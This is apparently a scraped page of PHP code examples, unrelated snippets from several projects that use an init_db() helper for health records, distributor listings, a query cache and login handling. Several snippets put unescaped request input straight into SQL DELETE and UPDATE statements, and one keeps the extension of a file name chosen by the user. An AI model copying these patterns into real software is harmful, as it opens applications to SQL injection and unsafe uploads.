    insert_text(' ?> ' . $text . ' <? ');
    return $DRUPAL_ROOT;
}
예제 #27
0
<?php

include './db.inc.php';
$daily_record_id_d = $_POST['daily_record_id_d'];
try {
    $db = init_db();
    //* 刪除Table紀錄 *//
    $delete_stmt = $db->prepare("SELECT * FROM dailyrecord WHERE daily_record_id=?");
    $delete_count = $delete_stmt->execute(array($daily_record_id_d));
    if ($delete_count) {
        $delete_DailyRecord = $db->exec("DELETE FROM `dailyrecord` WHERE `dailyrecord`.`daily_record_id` = '" . $daily_record_id_d . "';");
    }
    //* 顯示Table紀錄 *//
    $table_stmt = $db->query("SELECT * FROM dailyrecord");
    $msg = "<table>\n";
    $msg .= "<tr><td></td><td>日期(Y/M/D)</td><td>身高(cm)</td><td>體重(kg)</td><td>BMI</td><td>血壓 收縮壓/舒張壓(mmHg)</td><td>血糖 飯前/飯後(mmol/l)</td></tr>";
    foreach ($table_stmt->fetchAll(PDO::FETCH_ASSOC) as $table_row) {
        if ($table_row['height'] != 0 && $table_row['weight'] != 0) {
            $height_m = $table_row['height'] / 100;
            $height_m2 = $height_m * $height_m;
            $bmi = round($table_row['weight'] / $height_m2, 2);
        }
        $msg .= "<tr><td>";
        $msg .= "<input type='image' onclick='update_health_record_dialog(this.value)' src='icon/update_icon.png' id='daily_record_id_u' name='daily_record_id_u' value=" . $table_row['daily_record_id'] . ">";
        $msg .= " <input type='image' onclick='delete_health_record(this.value)' src='icon/delete_icon.png' id='daily_record_id_d' name='daily_record_id_d' value=" . $table_row['daily_record_id'] . ">";
        $msg .= "</td><td>";
        $msg .= $table_row['today_date'];
        $msg .= "</td><td>";
        $msg .= $table_row['height'];
        $msg .= "</td><td>";
        $msg .= $table_row['weight'];
예제 #28
0
 function do_edit_dist()
 {
     $db = init_db();
     $dist_id = $_GET["dist_id"];
     if (!(isset($_POST['place_id']) && preg_match("/^[0-9]*\$/", $_POST['place_id']))) {
         redirect($this->plu_path . "&func=show_dist_list", 0, "請填選消息分類");
         exit;
     }
     $dist_name = isset($_POST['dist_name']) ? $_POST['dist_name'] : "";
     $dist_url = isset($_POST['dist_url']) ? $_POST['dist_url'] : "";
     $dist_phone = isset($_POST['dist_phone']) ? $_POST['dist_phone'] : "";
     $dist_address = isset($_POST['dist_address']) ? $_POST['dist_address'] : "";
     $place_id = isset($_POST['place_id']) ? $_POST['place_id'] : "";
     $sql = "UPDATE plu_distributor SET place_id={$place_id}, dist_name='{$dist_name}', dist_url='{$dist_url}', dist_phone='{$dist_phone}',";
     $sql .= " dist_address='{$dist_address}', publishDate=NOW(), modiTime=NOW() WHERE dist_id = {$dist_id} ";
     $db->query($sql);
     if ($_FILES["pic"]["size"] && $_FILES["pic"]["error"] == UPLOAD_ERR_OK) {
         $tmp_name = $_FILES["pic"]["tmp_name"];
         $name = "dist_" . $dist_id . substr($_FILES["pic"]["name"], strrpos($_FILES["pic"]["name"], "."));
         $img_desc = isset($_POST['pic_desc']) ? $_POST['pic_desc'] : "";
         move_uploaded_file($tmp_name, SRVROOT . $this->upload_path . $name);
         $sql = "UPDATE plu_distributor SET img_name='{$name}',img_desc='{$img_desc}' WHERE dist_id={$dist_id}";
         $db->query($sql);
     }
     //echo $sql;
     redirect($this->plu_path . "&func=show_dist_list", 0, "變更已完成");
 }
예제 #29
0
파일: cache.php 프로젝트: kronius/vidpro
 function remove($id)
 {
     $this->db = init_db();
     $this->db->query("DELETE FROM z_fs_queries WHERE fq_id='{$id}'");
 }
예제 #30
0
파일: hl.php 프로젝트: pkgw/hera-librarian
{
    $auth = get_str("auth");
    $source = source_lookup_auth($auth);
    if ($source) {
        setcookie("auth", $auth, 0, "/");
        Header("Location: hl.php");
    } else {
        error_page("Invalid authenticator");
    }
}
function logout()
{
    setcookie("auth", '', 0, "/");
    echo "Logged out";
}
if (!init_db(get_server_config())) {
    error_page("can't open DB");
}
$action = get_str("action", true);
if ($action == "login") {
    login_action();
    exit;
}
$source = get_login();
if (!$source) {
    login_page();
    exit;
}
switch ($action) {
    case 'edit_store_action':
        edit_store_action();